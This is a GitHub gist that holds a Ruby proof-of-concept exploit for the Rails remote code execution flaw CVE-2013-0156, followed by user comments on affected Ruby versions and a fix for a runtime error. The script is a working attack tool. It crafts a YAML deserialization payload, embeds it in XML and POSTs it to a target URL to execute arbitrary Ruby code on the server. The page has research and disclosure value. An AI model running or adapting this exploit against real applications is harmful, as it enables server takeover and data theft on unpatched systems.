Skip to content

Instantly share code, notes, and snippets.

@postmodern
Last active October 18, 2024 00:07
Show Gist options
  • Save postmodern/4499206 to your computer and use it in GitHub Desktop.
Save postmodern/4499206 to your computer and use it in GitHub Desktop.
Proof-of-Concept exploit for Rails Remote Code Execution (CVE-2013-0156)
#!/usr/bin/env ruby
#
# Proof-of-Concept exploit for Rails Remote Code Execution (CVE-2013-0156)
#
# ## Advisory
#
# https://groups.google.com/forum/#!topic/rubyonrails-security/61bkgvnSGTQ/discussion
#
# ## Caveats
#
# * Does not support Ruby 1.8.7.
#
# ## Synopsis
#
# $ rails_rce.rb URL RUBY
#
# ## Dependencies
#
# $ gem install ronin-support
#
# ## Example
#
# $ rails_rce.rb http://localhost:3000/secrets/search "puts 'lol'"
#
# ### config/routes.rb
#
# resources :secrets do
# collection do
# post :search
# end
# end
#
# ### app/controllers/secrets_controller.rb
#
# def search
# @secret = secret.find_by_secret(params[:secret])
#
# render :json => @secret
# end
#
# ## License
#
# Copyright (c) 2013 Postmodern
#
# This exploit is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This exploit is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this exploit. If not, see <http://www.gnu.org/licenses/>.
#
# ## Shoutz
#
# drraid, cd, px, sanitybit, sysfail, trent, dbcooper, goldy, coderman, letch,
# starik, toby, jlt, HockeyInJune, cloud, zek, natron, amesc, postmodern,
# mephux, nullthreat, evoltech, flatline, r0bglesson, @ericmonti, @bascule,
# @charliesome, @homakov, @envygeek, @chendo, @bitsweat (for creating the vuln),
# @tenderlove (for fixing it), Fun Town Auto, garbage pail kids, hipsters,
# the old Jolly Inn, Irvin Santiago, that heavy metal dude who always bummed
# cigarettes off us, SophSec crew and affiliates.
#
require 'ronin/network/http'
require 'ronin/formatting/html'
require 'ronin/ui/output'
require 'yaml'
include Ronin::Network::HTTP
include Ronin::UI::Output::Helpers
def escape_payload(payload,target=:rails3)
case target
when :rails3 then "foo\n#{payload}\n__END__\n"
when :rails2 then "foo\nend\n#{payload}\n__END__\n"
else
raise(ArgumentError,"unsupported target: #{target}")
end
end
def wrap_payload(payload)
"(#{payload}; @executed = true) unless @executed"
end
def exploit(url,payload,target=:rails3)
escaped_payload = escape_payload(wrap_payload(payload),target)
encoded_payload = escaped_payload.to_yaml.sub('--- ','').chomp
yaml = %{
--- !ruby/hash:ActionController::Routing::RouteSet::NamedRouteCollection
? #{encoded_payload}
: !ruby/struct
defaults:
:action: create
:controller: foos
required_parts: []
requirements:
:action: create
:controller: foos
segment_keys:
- :format
}.strip
xml = %{
<?xml version="1.0" encoding="UTF-8"?>
<exploit type="yaml">#{yaml.html_escape}</exploit>
}.strip
return http_post(
:url => url,
:headers => {
:content_type => 'text/xml',
:x_http_method_override => 'get'
},
:body => xml
)
end
if $0 == __FILE__
unless ARGV.length >= 2
$stderr.puts "usage: #{$0} URL RUBY [rails3|rails2]"
exit -1
end
url = ARGV[0]
payload = ARGV[1]
target = ARGV.fetch(2,:rails3).to_sym
print_info "POSTing #{payload} to #{url} ..."
response = exploit(url,payload,target)
case response.code
when '200' then print_info "Success!"
when '500' then print_error "Error!"
else print_error "Received response code #{response.code}"
end
end
@postmodern
Copy link
Author

@eric1234 Checkout the lengthy write up. I tested the exploit against a Rails 3.2.9 app, but in development mode. Perhaps check the production log files? However, your example output looks incorrect, it should contain an ActionDispatch::Routing::RouteSet::NamedRouteCollection object. Is this app running on Ruby 1.8?

@eric1234
Copy link

@postmodern - I figured out why your exploit did not work for me. My Rails application is running Ruby 1.9.2 which ships with Psych 1.0.0. This version of Psych is not as magical. It will serialize into arbitrary classes for Object, String and Exception. But you always got a plain Hash object from Psych until this pull request. So if your app is running on Ruby 1.9.2 you are not AS vulnerable although I am sure a crafty person could come up with a similar exploit that serializes a subclass of Object, String or Exception and figures out how to execute code on that object.

One thing I am wondering. Since all this depends on YAML serialization of ruby objects, and since Ruby 1.8.x shipped with Syck instead of Psych. Is it as vulnerable? I took a quick look at the code and I don't think it is. All objects that can be deserialized are explicity declared and there is not magic deserialization of sub-classes. Would love someone who is better with security to confirm that. If that is the case then does that means any Rails app on 1.8 is not vulnerable. I know a lot of people have moved to 1.9 but if 1.8 is safe then that significantly cuts down on the number of apps that need to be patched.

@eric1234
Copy link

Just to followup. I did a bit more testing and Ruby 1.8 is indeed vulnerable to some of your POC scripts, but not this one for the same reason as Ruby 1.9.2. This script depends on the fact that you can unserialize any hash-like object via the ruby/hash tag. Ruby 1.9.2 and Ruby 1.8 BOTH do not allow this. You will always get back a plain Hash.

From what I can tell your symbol DOS POC would still be effective on Ruby 1.8 and Ruby 1.9.2. Also your SQL Injection should still be effective since Arel::Nodes::SqlLiteral inherits from String. Ruby 1.8 and 1.9.2 won't allow a ruby/string to be an arbitrary class. But any subclass of String (like SqlLiteral) will work.

@postmodern
Copy link
Author

@eric1234 Excellent findings! I will update the blog post.

I have also refactored the exploit to support both Rails 2 and 3. It turns out both Rails 2 and 3 provide a ActionController::Routing::RouteSet::NamedRouteCollection constant for backwards compatibility. However, the helper code that is evaluated is slightly different, so I had to require the user specify the version of Rails they wish to exploit.

Rails 2

          def #{selector}(options = nil)
            options ? #{options.inspect}.merge(options) : #{options.inspect}
          end
          protected :#{selector}

Rails 3

          remove_possible_method :#{selector}
          def #{selector}(*args)
            options = args.extract_options!
            result = #{options.inspect}

            if args.size > 0
              result[:_positional_args] = args
              result[:_positional_keys] = #{route.segment_keys.inspect}
            end

            result.merge(options)
          end
          protected :#{selector}

@postmodern
Copy link
Author

@eric1234 Just installed Ruby 1.9.2-p320 and can confirm Rails 2.x and 3.x are not vulnerable to the RCE exploit.

@bsodmike
Copy link

You need to correct the documentation above, as you're also specifying the param 'secret' in there; from what I can see this is not needed for this exploit although was used in the SQL (AREL) injection attack.

# $ rails_rce.rb http://localhost:3000/secrets/search "puts 'lol'" rails3

@postmodern
Copy link
Author

@bsodmike good eyes. Fixed.

@thatfunkymunki
Copy link

I'm getting an error:

./rails_rce.rb:92:in `exploit': undefined method `sub' for {}:Hash (NoMethodError)
        from ./rails_rce.rb:135:in `<main>'

@DeathBorn
Copy link

I also get this error

@kuboon
Copy link

kuboon commented Sep 10, 2014

encoded_payload = escaped_payload.to_yaml('').sub('--- ','').chomp

should fix the error.

@pkgaikwad
Copy link

Can anyone help me to understand this vulnerability ?

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment